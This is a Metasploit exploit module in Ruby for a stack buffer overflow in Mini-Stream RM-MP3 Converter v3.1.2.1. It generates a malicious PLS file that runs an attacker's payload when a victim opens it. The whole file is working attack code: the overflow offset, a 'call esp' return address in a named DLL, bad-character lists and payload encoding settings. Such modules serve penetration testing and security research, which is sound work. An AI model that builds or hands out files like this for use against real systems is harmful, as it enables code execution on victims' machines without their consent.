##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Mini-Stream RM-MP3 Converter v3.1.2.1 (PLS File) Stack Buffer Overflow',
   'Description'    => %q{
    This module exploits a stack based buffer overflow found in Mini-Stream RM-MP3
    Converter v3.1.2.1. The overflow is triggered when an unsuspecting victim
    opens the malicious PLS file.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Madjix',           # original discovery
     'Tiago Henriques',  # metasploit module
     'James Fitts'       # clean ups
    ],
   'Version'        => '$Revision: $',
   'References'     =>
    [
     [ 'URL', 'http://www.exploit-db.com/exploits/14373/' ],
     [ 'BID', '34514' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'DisablePayloadHandler' => 'true',
    },
   'Payload'        =>
    {
     'Space' => 1500,
     'BadChars' => "\x00\x09\x0a",
     'DisableNops' => 'True',
     'StackAdjustment' => -3500,
     'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
     'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
     'EncoderOptions' =>
      {
       'BufferRegister' => 'ECX',
      },
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     [
      'Mini-stream RM-MP3 Converter v3.1.2.1.2010.03.30',
      {
       'Ret' => 0x100371f5, # call esp in MSRMfilter03.dll
       'Offset' => 17417
      }
     ]
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Jul 16 2010',
   'DefaultTarget'  => 0))

   register_options(
    [
     OptString.new('FILENAME', [ true, 'The file name.',  'msf.pls']),
    ], self.class)
 end

 def exploit

  pls =  "http://"
  pls << rand_text_alpha_upper(target['Offset'])
  pls << [target.ret].pack('V')
  pls << rand_text_alpha_upper(8)
  pls << payload.encoded

  print_status("Creating '#{datastore['FILENAME']}' file ...")

  file_create(pls)

 end

end